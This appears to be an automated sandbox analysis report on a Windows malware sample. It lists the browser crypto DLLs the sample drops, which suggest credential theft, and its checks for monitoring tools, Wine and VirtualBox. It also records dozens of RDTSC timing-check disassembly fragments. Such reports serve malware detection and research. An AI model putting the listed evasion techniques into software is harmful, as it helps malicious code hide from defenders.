Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6555F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C6555F0

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66D7C6 second address: 66D7CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E596C second address: 7E5970 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DB06C second address: 7DB080 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F013D18EC70h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E4CB0 second address: 7E4CB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E4CB6 second address: 7E4CBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E4CBA second address: 7E4CD7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F013CB9BBE1h 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E8BFD second address: 7E8C07 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F013D18EC66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E8C07 second address: 7E8C0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E8C0D second address: 7E8C11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E8C11 second address: 7E8C96 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007F013CB9BBD8h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 call 00007F013CB9BBE9h 0x0000002a and cx, 8EA0h 0x0000002f pop edx 0x00000030 and ch, 00000027h 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push ecx 0x00000038 call 00007F013CB9BBD8h 0x0000003d pop ecx 0x0000003e mov dword ptr [esp+04h], ecx 0x00000042 add dword ptr [esp+04h], 00000018h 0x0000004a inc ecx 0x0000004b push ecx 0x0000004c ret 0x0000004d pop ecx 0x0000004e ret 0x0000004f mov edx, dword ptr [ebp+122D2629h] 0x00000055 push 102321D4h 0x0000005a push eax 0x0000005b push edx 0x0000005c pushad 0x0000005d jg 00007F013CB9BBD6h 0x00000063 pushad 0x00000064 popad 0x00000065 popad 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E8D9E second address: 7E8DA8 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F013D18EC6Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E8ED8 second address: 7E8EDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E9033 second address: 7E9039 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E9039 second address: 7E904D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F013CB9BBE0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E904D second address: 7E9085 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007F013D18EC71h 0x00000011 mov eax, dword ptr [eax] 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F013D18EC76h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E9085 second address: 7E90EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F013CB9BBDCh 0x0000000c js 00007F013CB9BBD6h 0x00000012 popad 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 jmp 00007F013CB9BBE3h 0x0000001c pop eax 0x0000001d xor edx, dword ptr [ebp+122D33A6h] 0x00000023 push 00000003h 0x00000025 push 00000000h 0x00000027 stc 0x00000028 push 00000003h 0x0000002a jmp 00007F013CB9BBE3h 0x0000002f push 6F337A15h 0x00000034 pushad 0x00000035 jmp 00007F013CB9BBE1h 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E90EA second address: 7E912B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 add dword ptr [esp], 50CC85EBh 0x0000000d call 00007F013D18EC71h 0x00000012 mov esi, dword ptr [ebp+122D3692h] 0x00000018 pop edx 0x00000019 lea ebx, dword ptr [ebp+1244EB06h] 0x0000001f mov dword ptr [ebp+122D1BDCh], esi 0x00000025 xor dword ptr [ebp+122D1BE5h], esi 0x0000002b xchg eax, ebx 0x0000002c pushad 0x0000002d push eax 0x0000002e push edx 0x0000002f jns 00007F013D18EC66h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E912B second address: 7E9155 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F013CB9BBD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007F013CB9BBD8h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 jmp 00007F013CB9BBE2h 0x0000001c pop eax 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F9C08 second address: 7F9C2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F013D18EC66h 0x00000009 jl 00007F013D18EC66h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F013D18EC71h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F9C2E second address: 7F9C34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F9C34 second address: 7F9C38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 809E67 second address: 809E6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 808499 second address: 80849D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8087E0 second address: 8087E6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8087E6 second address: 80881F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 je 00007F013D18EC66h 0x0000000d jmp 00007F013D18EC79h 0x00000012 pop edi 0x00000013 jnl 00007F013D18EC6Ch 0x00000019 push eax 0x0000001a push edx 0x0000001b push esi 0x0000001c pop esi 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80881F second address: 808823 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DE589 second address: 7DE58D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8095C8 second address: 8095D4 instructions: 0x00000000 rdtsc 0x00000002 je 00007F013CB9BBD6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 809CB3 second address: 809CB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 809CB7 second address: 809CCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F013CB9BBDFh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 809CCE second address: 809CEE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F013D18EC76h 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007F013D18EC66h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 809CEE second address: 809CF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 809CF2 second address: 809D0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F013D18EC66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 je 00007F013D18EC6Ch 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 809D0E second address: 809D14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 809D14 second address: 809D1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80E8E5 second address: 80E8E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80E8E9 second address: 80E8EE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80DA46 second address: 80DA4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80DA4A second address: 80DA4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80DA4E second address: 80DA54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80DA54 second address: 80DA78 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F013D18EC6Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007F013D18EC71h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80DA78 second address: 80DA82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F013CB9BBD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80EA2B second address: 80EA51 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F013D18EC6Ch 0x00000008 jo 00007F013D18EC66h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push esi 0x00000015 push ecx 0x00000016 pushad 0x00000017 popad 0x00000018 pop ecx 0x00000019 pop esi 0x0000001a mov eax, dword ptr [eax] 0x0000001c jbe 00007F013D18EC70h 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80EA51 second address: 80EA5F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80EA5F second address: 80EA76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F013D18EC6Fh 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80EB6C second address: 80EB70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80FC72 second address: 80FC78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80FC78 second address: 80FC7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D137D second address: 7D1394 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F013D18EC71h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814F71 second address: 814F77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814F77 second address: 814F7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814F7C second address: 814F95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F013CB9BBE3h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814F95 second address: 814F99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814F99 second address: 814FA3 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F013CB9BBD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815585 second address: 81558A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81558A second address: 815594 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F013CB9BBD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8156E3 second address: 815704 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 jmp 00007F013D18EC78h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815704 second address: 815712 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 816CDA second address: 816D04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F013D18EC66h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007F013D18EC72h 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 816D04 second address: 816D08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 816D08 second address: 816D25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F013D18EC6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f popad 0x00000010 mov eax, dword ptr [eax] 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 816D25 second address: 816D45 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F013CB9BBE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 push eax 0x00000012 pop eax 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 816D45 second address: 816D99 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F013D18EC73h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a call 00007F013D18EC69h 0x0000000f jmp 00007F013D18EC75h 0x00000014 push eax 0x00000015 push esi 0x00000016 push ebx 0x00000017 jmp 00007F013D18EC70h 0x0000001c pop ebx 0x0000001d pop esi 0x0000001e mov eax, dword ptr [esp+04h] 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 817242 second address: 817246 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81732E second address: 817334 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 817334 second address: 817339 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 817A11 second address: 817A15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 817A15 second address: 817A1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 817A1B second address: 817A32 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F013D18EC68h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jc 00007F013D18EC6Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 817A32 second address: 817A36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 817A36 second address: 817A40 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F013D18EC6Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 817ABC second address: 817AC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 817CA3 second address: 817CA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 817CA9 second address: 817CAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 817F7D second address: 817F84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 817F84 second address: 817F89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 817F89 second address: 817F8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8180C9 second address: 8180D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8180D0 second address: 818144 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jc 00007F013D18EC66h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 jmp 00007F013D18EC78h 0x00000015 jmp 00007F013D18EC77h 0x0000001a popad 0x0000001b nop 0x0000001c push 00000000h 0x0000001e push edi 0x0000001f call 00007F013D18EC68h 0x00000024 pop edi 0x00000025 mov dword ptr [esp+04h], edi 0x00000029 add dword ptr [esp+04h], 0000001Ch 0x00000031 inc edi 0x00000032 push edi 0x00000033 ret 0x00000034 pop edi 0x00000035 ret 0x00000036 mov esi, 663ABA44h 0x0000003b movzx edi, ax 0x0000003e xchg eax, ebx 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 push edi 0x00000044 pop edi 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 818144 second address: 818148 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 818148 second address: 81814E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81814E second address: 818183 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F013CB9BBE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F013CB9BBE4h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 818183 second address: 818187 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8186D8 second address: 8186DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
